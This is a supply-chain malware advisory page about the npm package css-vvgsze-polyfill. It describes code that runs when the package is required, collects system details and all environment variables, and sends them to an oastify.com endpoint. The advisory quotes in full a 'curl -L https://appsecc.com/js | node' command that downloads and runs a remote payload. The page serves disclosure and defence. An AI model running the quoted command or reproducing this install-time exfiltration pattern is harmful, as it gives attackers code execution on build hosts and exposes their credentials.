supply chain event / NVI-00010852 / Revision 1
Malicious code in css-vvgsze-polyfill (npm)
GitHub lists this malware advisory for css-vvgsze-polyfill. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.
This report has not inspected your inventory, configuration, deployed build, reachability or evidence. A catalog listing and a severity score do not establish exposure or compromise.
01 / Meaning
Why it matters
Published affected context helps an owner decide what evidence to gather. This report has not examined your application.
02 / Applicability
The affected context
Affected versions, configuration prerequisites and known exclusions are public. Confirm each one against the deployed service.
css-vvgsze-polyfill
source listed= 1.0.0
## Source: amazon-inspector (242414f6ea61921e2c62a6f4552456c486eee58d10c0aeec8b33d8043751ee59) thunderboltRegistry.js runs an IIFE on module require that performs two attacker-benefit actions against the installer. First, it execSyncs `id`, `whoami`, `env`, and `ifconfig`/`ip addr`, then transmits the output along with hostname, platform, and pid as query parameters via fetch to a hardcoded unique-subdomain Burp Collaborator endpoint at https://unl9pgk6ei4uf80n5tf4iktspjvbuzkn9.oastify.com/. The `env` dump leaks every environment variable, which in CI/build contexts routinely contains cloud credentials, registry tokens, and API keys. Second, it execSyncs `curl -L https://appsecc.com/js | node`, fetching an opaque remote JavaScript payload from an attacker-controlled host and executing it in the Node process, yielding full remote code execution on the installer host. The package presents itself as a CSS polyfill and exports Proxy no-op stubs mimicking Wix thunderbolt registry symbols (`thunderboltRegistry`, `siteAssetsRegistry`, etc.), a cover-story shape consistent with dependency-confusion or typosquat targeting of a Wix build pipeline so an infected build appears to function whil
03 / Response
What to do next
- investigate
Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.
Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system. GitHub Advisory Database
A fixed release is not deployment evidence.
Check current vendor support and compatibility. After making a change, verify the deployed build and relevant runtime conditions. Keep the evidence, owner and time. An updated lockfile alone does not prove what is running.
04 / Limits
What this report cannot establish
- Customer inventory, deployment, reachability and exploitation have not been inspected.
05 / Provenance
Sources you can inspect
Each assertion retains its source. Mirrored records may repeat one underlying publisher; additional links are not independent corroboration.
- GHSA-hcp6-vwm8-q8x9 ↗
GitHub Advisory Database · vendor advisory
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Public revision history
Only published revisions appear here. Routine fetches do not create a material-change event.
- Revision 1 ·
First indexed by Null; source disclosure date is shown separately.